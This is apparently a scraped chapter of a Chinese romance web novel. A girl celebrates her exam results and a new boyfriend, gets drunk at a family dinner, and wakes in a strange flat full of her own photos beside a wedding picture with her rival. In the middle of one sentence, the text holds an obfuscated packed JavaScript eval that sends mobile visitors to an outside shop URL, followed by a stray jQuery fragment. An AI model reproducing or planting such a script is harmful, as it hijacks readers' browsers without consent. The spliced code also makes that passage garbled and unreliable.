事业爱情双丰收,此刻这句话很适合用在千春莉身上。
高考成绩出来,比较历年梦中情校录取的省内排位,春莉被录取的概率99%,扣掉的1%是为了谦虚。
返校拿毕业证这天,在操场边繁茂的大树下,她答应了暗恋一年的男生告白。
告白后两人红着脸假装镇定,聊花聊草聊六月末南城热得要把人融化了,就是不敢大大方方对视。
眼睛做好久的准备运动才敢飞速瞟眼对方,鬼鬼祟祟做贼一样。
校园终究不是谈恋爱的好地方,即便两人已经毕业二十多天,稍有风吹草动,还是像怕被抓早恋,下意识退开一步。
反应过来她们熬过近严格的高中时期,已经可以自由恋爱,对上眼睛笑对方还傻兮兮。
双方忘记刚才害羞避嫌的事,也忘记有人走到两人身边,自顾自沉浸在真空的粉色泡泡中。
直到一声咳嗽,千春莉又害羞起来,背过身扣树上皲裂的树壳。
被告白后,千春莉像是掉进棉花里,未开口先笑。
回过神时,千春莉笑眯眯道别周怡,耳朵听见自己说QQ继续聊,身体飘忽忽坐上家人接自己去餐厅吃饭的车。
这次是千家族二十多口人一起聚餐,在市里一间很大的包间。
千家人关系很好,经常互相走动,大大小小的聚餐每个月都有好几场。
庆祝高考结束,长辈就已经轮着请客好几次了。
千春莉坐下后,低下头,点开手机回消息。
周怡约她明天去捧着玩。
【明天看电影呗,最近有部新电影都说好看,表姐拉我去看,我都没去,想和你去。】
定下见面时间和地点,春莉退出聊天框,继续笑眯眯着滑到楚江钦头像。
他发了五条新消息。
春莉心脏开始泛起粉红泡泡,轻盈而美丽。
暗恋一年多的男生也喜欢自己,春莉就想转圈圈,回周怡信息时好几次差点忍不住告诉她自己恋爱了。
字已经打出来,又都一一删除。
太不冷静,刚确认关系就想当个大喇叭到处说。
你怎么知道我和喜欢的人在一起了~
是他先告白的呢嘿嘿~
我和他是同桌,一年哦~
内心两个小人打了一场辩论,说与不说辩了半天,坚持不说的小人险胜,千春莉决定晚一天再和周怡说。
明天见面千春莉马上和她分享自己恋爱的消息,她和周怡幼儿园认识,无话不说。
忍住二十多个小时不说,春莉自认她已经很克制。
戳开楚江钦消息前,春莉深呼吸一口,安抚住蹦跶不停地小心脏。
【太紧张,忘了和你说恭喜,成绩很好。】
【记得你说要上X大,变了吗?】
【如果是的话,提前祝贺你,我知道你一定可以。】
【明天有时间吗,你喜欢看电影还是喝点东西,也可以一起,喝东西和看电影】
【想和你见面,聊天。】
千春莉捧着手机,咬了咬唇,一条条回。
心境很微妙,成为情侣之前,两人同班两年,其中半年同桌,关系已经很熟络。
但今天两人不约而同都有些拘谨,客气如刚认识。
【谢谢,你也是。】
【还是X大,Q大只是随便说说的,逗程风玩的。】
【三年超认真学习,就算有喜欢的人也没有分心过。】
近乎直白的倾诉她喜欢的人就是他了,千春莉脸有些臊意。
可她想,两人是恋人,没必要再藏着收着。
她也是个很勇敢的人。
至于见面,她已经和闺蜜约好,只能将和男朋友的约会推一推啦。
【早上和周怡约好看电影了(吐舌.emoj)】
“莉宝,进屋就捧着手机,头都没抬起来过,和谁聊天啊,脸红扑扑的。”
春莉刚想回要不约后天,忽然听见姑姑调侃她的声音,吓一激灵,飞速翻过手机背面,收进口袋里。
包间里聊天声渐渐止住,十几双眼睛看向她,千春莉脸更加热了。
“和粥粥聊明天看什么电影。”千春莉心里虚,脸往姑姑方向转,眼睛越不敢看她,总感觉一下就能看穿她。
“是不是太热了,小帆你和莉宝换下位置,让姐姐吹空调。”姥姥没想过孙女是谈恋爱了,只朴实地担心孙女脸红是因为热的。
千春莉手背摸摸脸颊,很烫,顺杆爬,“是有点热。”起身走到空调下。
坐下后,她看眼姑姑,抿着嘴促狭得笑,分明是看穿了她的小心思。
周围人已经转头聊别得去了,生怕姑姑捏着不放,千春莉朝她孩子气地皱了皱眉,唇语叫姑姑,央求放她一马。
“莉宝也是个大女孩了啊。”姑姑无限感慨,“刚出生的时候只有六斤一两,还没只猫重。”
“可不是,刚出生那么丁点,咱妈谁都不许抱,见面还只得隔着窗户玻璃,生怕一喘气就把这小鼻噶吹飞了哈哈哈。”
春莉捂住脸,她都十八岁了,六斤重的事从一岁念叨到现在。
她都知道接下来要说什么。
“终于能打照面了,得浑身消毒,戴口罩戴手套,见皇帝都没这么高规格哈哈哈。”
“你这算什么,听说小侄女出生了,我大包小包给姐和小侄女带回来,东西进去了,我被赶出来,理由是抽烟,小侄女闻了会得癌。”二叔喝茶喝出了白酒的气势,放下杯子,忆往昔:“我把烟戒了,顺便酒也戒,免得又出什么幺蛾子,半年后检查过口气,合格才通过。”
要从前,春莉早撒着娇,让大人们别聊这些旧芝麻谷子了。
现在,她像个鹌鹑,安安静静吃东西,根本不敢动,甚至默默乞求聊到聚会结束。
好歹转移话题,春莉也不敢看眼手机,怕被哪个眼尖的又揪住小尾巴。
春莉撩头发,不露痕迹手背贴着脸擦过,还是很烫,不必照镜子,脸肯定比苹果还红。
怎麽也没想到,恋爱第一天的甜蜜还伴随着副作用。
春莉苦恼,心情却忍不住雀跃。
只能通过其他方式掩盖,春莉皱紧眉喝下一杯红酒,又酸又苦,一点不好喝,还辣嗓子眼。
喝下半杯,春莉头开始有点晕,一杯下肚,身体便轻飘飘。
长辈赶紧没收她的杯子,春莉去抢,表示自己没醉,才一杯,她喝两杯轻轻松松。
其实她不知道,脱离个人幻想,真实的她动作很慢很钝,直直朝偏离杯子四十五度角的方位伸手,说完就说好累,好困,两手板正压着,侧头睡着了。
春莉没觉得自己喝醉,她认为自己只是换个姿势认真听长辈聊天,虽然她忘记说话内容,反正她一直能听见声音。
“乖宝,头痛不痛,你喝醉了我们先回家。”千灵溪拨开女儿脸庞的头发,还让她通畅呼吸。
“我……没醉!”春莉意识有些混沌,但很认真地认为自己很清醒,她能听清妈妈说的每个字。
千灵溪愣了一下,笑着说没醉没醉,你只是太困了,回家洗澡睡觉。
回到家千春莉慢吞吞洗过澡,中间好几次千女士敲门,怕她中途睡在地砖上。
终于洗好,千春莉扶着墙挪回房间,又累又困扑在床上。
千灵溪拿着吹风机跟进来,将春莉濡湿的发尾吹干,揉了揉了千春莉的背:“妈妈帮你翻个身,侧躺睡好不好。”
春莉听见妈妈的声音,晕陶陶地发脾气:“酒好难喝,再也不喝了,家里以后不许有酒,难喝!还会欺负我,都丢掉。”
“你爸最爱喝酒,家里小祖宗发表重大指示,得叫他过来听听,明天把酒柜都清了。”千灵溪俯身给她揉额头,笑着打趣。
“不要爸爸,女生时间。”洗了澡千春莉也没清醒过来,刚高考完的超级大脑只会圈关键词,自行发挥想象,理直气壮蒙答案。
她摇头强烈抗拒,结果更晕了,蔫蔫哼唧骂酒,忽地傻笑起来。
醉酒的人本就憋不住事,更别说清醒时只打算保密一天的人。
“妈妈你过来,我告诉你个秘密。”春莉吃力地转个身,把自己搬到千灵溪的大腿上枕好,“本来明天说的,但你对我太好了,今天告诉你吧。”
“你说,宝贝,我绝对保密。”千灵溪俯下身凑近。
“嘿嘿,我和喜欢的男生谈恋爱咯。”说完千春莉傻笑起来,手歪歪扭扭比个没合拢,错开的圈。
“是哪个小伙啊。”千灵溪动作顿了顿,心中不免有些惆怅,女儿软乎乎的婴儿时期仿佛还在昨天,现在已经是谈恋爱的大女孩了。
“同班同学,长得最好看那个。”
初高中六年家长会千灵溪场场出席,女儿班级性别比较平均,长相好看的的确有几个,但最好看的……
“程风?”这男孩是好看中的好看,笑盈盈桃花眼,性格也讨喜。
“程风?!”春莉酒直接吓醒了,猛地坐起来,又猛地倒回腿上,头又胀又痛,心又急又气。
“头晕不能大动作,错了说一声就行了。”千灵溪看见女儿脸通红,语气满是心疼。
“妈!”春莉欢乐好一会儿,软绵绵拖着长音控诉,“程风不是我同班同学,他都不是一层楼,只是喜欢来班级找楚江钦玩而已。”
没人知道她此刻的崩溃,“妈妈啊,楚江钦比程风还好看!”
“妈妈说错名字,应该是楚江钦才对,原谅妈妈好不好。”千灵溪拍女儿的背,赶紧跳过话题:“你不舒服,睡觉好不好,别的明天再说。”
“程风和楚江钦是好朋友,自己班不待,非来找楚江钦,节节课间都来,没见过这么粘人。”关于程风,千灵溪早就有一肚子槽要吐,借着酒劲,机关枪似语速又快又有力。
“上辈子可能是个哑巴,这辈子话好多好多,和谁都能聊。”想到程风,春莉头隐隐作痛,“楚江钦怎麽会和程风是好朋友呢,男朋友的朋友是我不喜欢怎麽办。”
“听着程风只是话太多,没别的可恶点呢。”千灵溪看那孩子就是张聪明脸蛋,但眼睛干净,不是个坏孩子。
“而且你是和小楚恋爱,不是和他谈恋爱,有什么好苦恼。”女儿总是会有些神奇的脑回路,千灵溪啼笑皆非。
“我怎么可能和他谈恋爱,我头被驴踢了,被门夹了才会和他恋爱。”前提不够完善,春莉纠正:“我头不被驴踢,不被门夹,才和他恋爱。”
……
春莉觉得哪不对劲,“我才不会和他恋爱呢!”
“好好好,快躺下,什么也别想,睡觉。”千春莉按着春莉的额头,把她压在枕头上,掖好被角,最后亲吻额头,“晚安,好梦宝宝。”
“晚安妈妈。”额头落下妈妈的亲吻时,千春莉乖乖阖上眼睛。
房门被关上的声音,千春莉眼皮越来越沉,意识消散前还倔强喃喃:“我是绝对不可能和程风恋爱。”
酒精果然不是健康食物,千春莉感觉自己睡了一世纪之久,浑身都睡僵了,头重脚轻撑着床,缓缓坐起来。
错觉吗,床似乎有两个宽。
往常挪动脚就能踩在地面上,今天还要翻转半圈。
春莉两腿毫无力气,刚踩地面,膝盖一软,整个人像无脊椎动物,啪叽一下,五体投地。
印象中的疼痛并没有来临,反而跌进了厚实的地毯上,千春莉浑身一软,松懈下来。
劫后余生地躺了片刻,坐起来纳闷看着地毯,大脑吃力转动。
房间什么时候铺设的地毯,她记得房间是硬邦邦的木纹瓷砖。
或许是妈妈给自己的惊喜。
想洗脸想喝水,想让恍惚的精神清爽起来。
千春莉四肢着地爬到墙边站起来,头重脚轻打开门往外走,直接走入一间天蓝色卫生间内。
也没想过为什么房间会直通卫生间,千春莉足足泼了一分多钟清水,才感觉彻底醒过神。
抽张纸巾擦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936815|213737||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
干水,看见镜子背后的两个一粉一蓝的牙刷,后知后觉不对劲。
里面还有很多瓶护肤品,数量比千女士还多。
这时千春莉才真正打量周围环境,卫生间设计风格完全和她家大众风格不同,看得出精心设计。
地面是清透的浅蓝色小花砖,墙面是更浅的同色系浮雕蕾丝纹瓷砖,千春莉喜欢这个设计风格,多希望这是她的卫生间。
但她清楚的知道,自己的房间没有卫生间。
千春莉扯了扯压出褶皱的小熊印花睡裙,不知道她为什么会误入陌生夫妻的房子。
她轻手轻脚走出去,刚走出去,她就在墙面看到自己的照片。
看见自己的脸,千春莉并没有觉得放松,反而更加古怪。
房间四面墙布满了她的照片,大大小小。
粗略一览,有的她见过,有的她没见过,但都是单人照,主动面对镜头。
照片中,有她年幼穿碎花裙坐翘翘椅的,有她初中第一天试穿夏季校裙的,有高中运动会周怡给她绑鱼骨辫自己比心的,有她在X大钟楼台阶的游客打卡照,有她穿学士服怀抱鲜花的毕业照,有她穿西装在楼下朝上挥手的……
还有一张她身穿洁白婚纱,手捧白粉色花束,笑容明丽灿烂的婚纱照。
千春莉手按在婚纱照片,无法描述自己见鬼的复杂心情。
在看到明确是她十八岁后的照片时,她就掐上了自己胳膊肉。
很痛!
她还是在这个贴满自己各个时期照片的房间,哪也没去。
卫生间半身镜没有一朵水纹,清晰可见毛孔。
千春莉揉揉软绵绵的婴儿肥,拨了拨前两天刚修的齐刘海,长大后她很多照片都露出了额头。
“是在做梦吧,成年生日才过几个月,还没开始报名,我怎麽就X大毕业了。”千春莉身处蓝色的卫生间,没什么信心的喃喃。
如果十八岁的她是真,卫生间也是真,那她现在身处哪个时空。
千春莉扶着洗手池,瘫软在地上,冰凉的瓷砖让她崩溃的心情稍稍冷静下来。
又坐了几个呼吸,千春莉站起来,捶捶酸软的腿。
她冲洗一遍脸,镜子中自己湿漉漉的十八岁样貌,收起眼里的迷茫,抽张纸巾擦干脸,将纸巾扔进垃圾桶时,动作顿在半空中。
垃圾桶内只有她丢的上张湿纸巾团。
她有很多猜测,但都需要走出房间继续求证。
离开前,她从形狀和重量各异的瓶瓶罐罐中,选了最趁手攻击力相对强的瓶子作为自卫工具。
几种猜测中,最差的一条是她被绑架了,囚禁在变态跟踪狂的家。
她也是资深小说党,也看不过少集今日说法,这种房间贴满某人照片,房主不是杀手,就是变态跟踪狂。
从这人还拥有许多只有亲人拍摄的童年照,极有可能是她家熟悉的人。
想着,千春莉手攥得更紧了。
走出主卧,所经过的墙面没有卧室内夸张,但也不少,照片更大些,间隔也更开些。
目前为止她没发现任何双人照,她的婚纱照无名指带了钻戒,应该不是拍的个人艺术照,而是真的和某人结婚了。
主卧单独在一条过道内,隐秘性更强,隔音效果也更好。
难怪自己在房间里听不见外面的声音。
千春莉光着脚踩在木质地板上,小心翼翼保持安静,她在拐角处停下,细细听外面的声音。
太安静了,以致于她清楚地听见自己心脏沉重落下的咚咚声,和绵长的呼吸声。
趴着细听好几分钟,确认目前活动的生物只有她自己后,继续往前走。
房子很大,除了一间主卧还有四个房门。
以房子细致的装修,这是个人购买的房产,变态似乎还挺有钱。
有钱的坏人。
千春莉撇撇嘴,她家也不穷,姥姥姥爷爷爷奶奶爸爸妈妈姑姑舅舅表姐表哥侄子们一人一拳能把他打个半死。
越是接近客厅,千春莉鼓足劲让自己勇敢,还是不免有些胆战心惊,默默点起人头,给自己加油鼓劲。
客厅映入眼帘,千春莉猛地一激灵,心漏掉半拍,沙发上躺着一个人。
很快她松了一口。
沙发坐的不是一个人,准确说是一个头部印有她二十左右的照片,身体穿着其脚踝的草莓睡裙。
玩偶特有的笨手笨脚,被人摆成两脚脚腕相交,肚子爬着只棕褐色娃娃熊,头靠枕头,一副悠闲发呆的样子。
极度紧张的精神在看到这个几乎是整人的布偶,千春莉感受到一种被戏耍的愤怒,火腾一下就从脚趾冲到头顶。
不需要姥姥姥爷这一大帮人了,千春莉现在就能一拳一脚把这个人踢成胚胎,后悔出生遇见她。
千春莉过去抱起打扮成自己的布偶,照片太多收不过来,布偶倒是能随身携带。
抱着布偶转身时,一个物品砸在地上的声音在寂静的空间里炸响。
声音响起的同时,千春莉猛地把布偶扛到后背,低头跨越障碍物,以最快的速度冲去房门,当手已经放在门锁上时,她却转身往沙发走去。
愣愣地捡起爆发巨大声响的物品,一个白色金边欧风木质相框,巴掌大。
照片上是一对恋人拍摄的婚纱照,一高一矮,白色婚纱与黑色西服依偎在一起,两人笑容灿烂。
千春莉看了看,都要把照片盯穿了,还是没看出这照片被人用枪抵在后脑勺拍下的迹象。
世界末日了吧,开什么地狱玩笑。
照片上的新娘是她。
但,为什么她旁边的新郎会是程风?!
她昨天才答应楚江钦的告白,满打满算交往还没二十四小时。
怎麽就和程风结婚了?!
她最不对付的人,最看不惯的人,最烦的人。
甚至她觉得楚江钦哪都好,唯一不好的识人不清,怎么会和人模狗样肚里全是坏水的程风是至交好友呢。